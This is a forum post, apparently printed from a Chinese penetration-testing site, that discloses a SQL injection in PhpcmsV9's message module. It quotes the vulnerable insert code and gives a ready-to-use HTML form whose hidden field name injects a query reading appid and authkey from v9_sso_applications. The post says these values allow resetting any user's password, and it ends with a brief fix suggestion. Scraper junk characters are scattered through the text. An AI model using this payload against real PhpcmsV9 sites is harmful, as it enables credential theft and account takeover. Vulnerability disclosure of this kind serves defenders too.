中国网络渗透测试联盟

标题: PhpcmsV9 SQL注射修改任意用户密码漏洞 [打印本页]

作者: admin    时间: 2013-2-23 11:33
标题: PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
3 I2 c1 M# M0 _
0 M1 z8 X. [8 B4 {8 w4 ?第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
0 ^7 a& G9 K% ~' m# o
. _0 X& B" M# l6 m/ K明天再更新下一个漏洞。* d5 u  \& x7 v1 R4 @6 Q8 k
详细说明:+ A9 `5 i/ v: m6 Q/ u7 O' V4 S
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
- r" g% q  W  y  }5 U
. y$ g" [. Z7 i. D$messageid = $this->message_db->insert($_POST['info'],true);
' D+ `7 [) v2 P' C0 O* W6 G/ ?6 x$ N: k% Z8 b* P. U& C5 O
4 K8 `6 h) f3 V1 o- R4 I3 H
insert方法是key value的,代码如下:8 ]7 }2 M1 H% ^  y. ]$ q
& {- d$ _0 Z, \' a( D
public function insert($data, $table, $return_insert_id = false, $replace = false) {* J, u- t' f# K! L  g  j
                if(!is_array( $data ) || $table == '' || count($data) == 0) {& B4 M/ e/ l( W/ O% \! b! U
                        return false;- s) k% _7 k- X% g! x
                }9 M/ \7 U7 X, `" ~' [3 Z3 M. P7 W
               
/ \" r8 O- i8 [9 a                $fielddata = array_keys($data);
$ `) H, ?; {+ u, ]7 p4 E# U                $valuedata = array_values($data);1 R) Q- }9 s2 v5 L! [3 M/ M9 R
                array_walk($fielddata, array($this, 'add_special_char'));) f; N' Q6 v' ~7 R
                array_walk($valuedata, array($this, 'escape_string'));
  `6 E- a2 |9 s) J3 T, U2 Q6 b% ~' Z               
/ R, a! D0 V% [- }$ [6 ~                $field = implode (',', $fielddata);( Z9 V9 ~7 k9 X3 d. s6 D
                $value = implode (',', $valuedata);: E1 o' {6 U  ^9 C+ q. Z

; m. }' Z& E* @$ U# Z                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
" f0 b. @  c8 e* B* l; F# {/ F                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';' e0 d' |: K! t( g1 }% q& c
                $return = $this->execute($sql);0 ~0 I: i- y9 t& u1 N. b
                return $return_insert_id ? $this->insert_id() : $return;/ `) R/ H3 N" ]! Y/ H: q+ Z! P4 z
        }6 l7 l5 f$ N$ D+ L% l; @+ `7 t

- x# |( l3 D! a1 I. H! {& u, ?* y- s2 g0 A
嗯,很遗憾的是3 C* P% P# L3 x$ z/ T
' Z1 r6 ]9 }: E! g
array_walk($fielddata, array($this, 'add_special_char'));" l- V! O" H$ j, @# G& n

: y7 Q9 T& J! y+ ~7 M7 g
; V* o. N1 k8 l: K. k中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
- o8 A4 m7 u; v4 s7 g  g- g" E' F& q0 M0 Y# I$ {5 D  Y# e: T5 d
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。/ z: N1 N; T  [/ i+ x6 G
8 i( a, _1 }6 Z2 I
漏洞证明:" r3 f* o  o( @  I& s
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。0 x( L6 y  r  m+ l
[attach]200[/attach]
& \# a, y' h5 F+ f+ {2 _' v+ p' o; o; H: n: G9 Y
表单如下:用户名什么的得自己改一改。
3 k; o3 z' H( G5 q2 s<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">/ W4 N: c/ y, _$ M  @
<table width="100%" cellspacing="0" class="table_form">' q! K+ F; m3 V$ [. j
<tr>) }0 C5 I0 h$ ^/ ?, W
<th>标 题:</th>
' U) X2 B! E" c4 A1 b( ?  a! a' l<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>3 n$ P7 H2 c' i. l9 Q$ \
</tr> 8 _2 c% n% n4 D% @
<tr>8 n0 F8 B/ b8 \: o/ U( I
<th>内 容:</th>
, c7 x1 `. w- ~# U+ c) Y<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
1 @# h- G& z* L" T7 L</tr>
- d0 T7 l# M6 Y<input type="hidden" name="info[replyid]" value="2" />
& s* t  `* u$ R9 U/ m1 S. R<input type="hidden" name="info[send_to_id]" value="cc" />
. l2 |. j9 p! r/ r<input type="hidden" name="info[send_from_id]" value="hh">9 V, Y" B4 x( v2 x* p
<!-- 漏洞的利用重点在这里开始 -->7 R5 u" A0 G' Q
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 2 k- d' T6 }2 i8 Y  t: J) ?$ S- Z
<!-- 漏洞的利用重点在这里结束 -->
% a9 m* L; ?7 [* u  M$ x<tr>
* z9 t8 d1 F; w& k5 N+ A( [<th>验证码:</th>  A; z' s' ^9 `, `, J' v% ?
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
1 e+ x) a- z0 K' w# m4 B</tr>
4 ^7 e( `- k4 u5 q2 ]1 C; u<tr>/ l2 q" M9 a$ d# z9 P. C
<td></td>
! m/ h) x9 g: \1 {<td colspan="2"><label>
9 v9 A& C- P- |. p<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
; u6 }+ W+ w, W" Y</label></td>
( q6 X3 E2 y& V</tr>+ c7 _" X7 E: R+ j$ J
</table>
+ `- c& B% E! I) b9 O. z5 B</form>
& ~! q7 }& W* j* `# M, q; |- E6 u在add_special_char函数内对key做过滤就可以了。
  G6 C& A3 y. l8 I# {
0 [  l) |. Y& e$ q& i4 I) u4 N& b8 A# q) c5 I
9 l' I8 q$ E. l





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2